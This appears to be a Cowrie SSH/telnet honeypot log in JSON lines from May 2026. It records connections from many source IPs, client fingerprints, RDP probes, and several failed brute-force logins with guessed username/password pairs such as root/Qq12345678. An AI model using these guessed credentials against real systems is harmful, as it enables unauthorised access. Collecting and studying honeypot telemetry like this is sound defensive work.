{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:04:50.772116Z","src_ip":"108.167.177.203","session":"09b6f55c8b3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"chicony","message":"login attempt [root/chicony] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:04:50.904340Z","src_ip":"108.167.177.203","session":"09b6f55c8b3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pritchard","password":"abc123","message":"login attempt [pritchard/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:04:51.297354Z","src_ip":"193.46.255.86","session":"02a653371589","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:04:51.932376Z","src_ip":"108.167.177.203","session":"09b6f55c8b3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pritchard","password":"abcd123","message":"login attempt [pritchard/abcd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:04:52.426244Z","src_ip":"193.46.255.86","session":"02a653371589","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pritchard","password":"abcd1234","message":"login attempt [pritchard/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:04:53.555773Z","src_ip":"193.46.255.86","session":"02a653371589","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pritchard","password":"abc1234","message":"login attempt [pritchard/abc1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:04:54.689183Z","src_ip":"193.46.255.86","session":"02a653371589","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.173.247.254","src_port":52888,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4741db3f0b1","protocol":"ssh","message":"New connection: 31.173.247.254:52888 (159.203.135.109:22) [session: b4741db3f0b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:04:55.760367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:04:55.767620Z","src_ip":"31.173.247.254","session":"b4741db3f0b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:04:55.818995Z","src_ip":"193.46.255.86","session":"02a653371589","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:04:56.011668Z","src_ip":"31.173.247.254","session":"b4741db3f0b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq12345678","message":"login attempt [root/Qq12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:04:56.988698Z","src_ip":"31.173.247.254","session":"b4741db3f0b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:04:58.245546Z","src_ip":"31.173.247.254","session":"b4741db3f0b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.227.230.54","src_port":38058,"dst_ip":"159.203.135.109","dst_port":22,"session":"bfc883857c31","protocol":"ssh","message":"New connection: 163.227.230.54:38058 (159.203.135.109:22) [session: bfc883857c31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:05:00.503723Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:05:00.511106Z","src_ip":"163.227.230.54","session":"bfc883857c31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:05:00.752853Z","src_ip":"163.227.230.54","session":"bfc883857c31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"K0nigK0nig@2024","message":"login attempt [root/K0nigK0nig@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:05:01.751731Z","src_ip":"163.227.230.54","session":"bfc883857c31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.25061273574829,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:05:02.676252Z","src_ip":"192.119.13.58","session":"30339942ae86","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.0.59","src_port":47888,"dst_ip":"159.203.135.109","dst_port":22,"session":"d3bf846c8472","protocol":"ssh","message":"New connection: 43.153.0.59:47888 (159.203.135.109:22) [session: d3bf846c8472]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:05:02.755095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:05:02.763163Z","src_ip":"43.153.0.59","session":"d3bf846c8472","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:05:02.860644Z","src_ip":"43.153.0.59","session":"d3bf846c8472","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:05:03.035396Z","src_ip":"163.227.230.54","session":"bfc883857c31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"steam123","message":"login attempt [root/steam123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:05:03.146245Z","src_ip":"43.153.0.59","session":"d3bf846c8472","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:05:04.223490Z","src_ip":"43.153.0.59","session":"d3bf846c8472","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.56819939613342,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:05:05.052199Z","src_ip":"186.195.16.41","session":"85c931ce94d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"115.178.75.242","src_port":42058,"dst_ip":"159.203.135.109","dst_port":22,"session":"f893bd343d96","protocol":"ssh","message":"New connection: 115.178.75.242:42058 (159.203.135.109:22) [session: f893bd343d96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:05:08.033038Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:05:08.038171Z","src_ip":"115.178.75.242","session":"f893bd343d96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:05:08.219517Z","src_ip":"115.178.75.242","session":"f893bd343d96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pagano","message":"login attempt [root/pagano] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:05:08.959945Z","src_ip":"115.178.75.242","session":"f893bd343d96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:05:10.141113Z","src_ip":"115.178.75.242","session":"f893bd343d96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.230.149","src_port":49526,"dst_ip":"159.203.135.109","dst_port":22,"session":"60e8fe487efa","protocol":"ssh","message":"New connection: 207.154.230.149:49526 (159.203.135.109:22) [session: 60e8fe487efa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:05:13.547086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:05:13.552347Z","src_ip":"207.154.230.149","session":"60e8fe487efa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:05:13.634763Z","src_ip":"207.154.230.149","session":"60e8fe487efa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yannick","message":"login attempt [root/yannick] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:05:14.002316Z","src_ip":"207.154.230.149","session":"60e8fe487efa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":55598,"dst_ip":"159.203.135.109","dst_port":22,"session":"c211a37846ec","protocol":"ssh","message":"New connection: 152.42.212.128:55598 (159.203.135.109:22) [session: c211a37846ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:05:14.490736Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:05:14.495954Z","src_ip":"152.42.212.128","session":"c211a37846ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:05:14.500665Z","src_ip":"152.42.212.128","session":"c211a37846ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:05:15.090406Z","src_ip":"207.154.230.149","session":"60e8fe487efa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":56289,"dst_ip":"159.203.135.109","dst_port":22,"session":"177d7d3b358f","protocol":"ssh","message":"New connection: 167.172.81.52:56289 (159.203.135.109:22) [session: 177d7d3b358f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:05:18.974990Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:05:18.986304Z","src_ip":"167.172.81.52","session":"177d7d3b358f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:05:18.990060Z","src_ip":"167.172.81.52","session":"177d7d3b358f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":36084,"dst_ip":"159.203.135.109","dst_port":23,"session":"bae4d8ab85c0","protocol":"telnet","message":"New connection: 186.195.16.41:36084 (159.203.135.109:23) [session: bae4d8ab85c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:05:34.076255Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.167.177.203","src_port":50974,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e25a5688f94","protocol":"ssh","message":"New connection: 108.167.177.203:50974 (159.203.135.109:22) [session: 2e25a5688f94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:06:00.707657Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:06:00.711891Z","src_ip":"108.167.177.203","session":"2e25a5688f94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:06:00.737272Z","src_ip":"108.167.177.203","session":"2e25a5688f94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq12345678","message":"login attempt [root/Qq12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:06:00.873544Z","src_ip":"108.167.177.203","session":"2e25a5688f94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:06:01.904443Z","src_ip":"108.167.177.203","session":"2e25a5688f94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.117.200","src_port":54510,"dst_ip":"159.203.135.109","dst_port":22,"session":"3067ff509c52","protocol":"ssh","message":"New connection: 119.28.117.200:54510 (159.203.135.109:22) [session: 3067ff509c52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:06:06.072937Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:06:06.122501Z","src_ip":"119.28.117.200","session":"3067ff509c52","protocol":"ssh"}
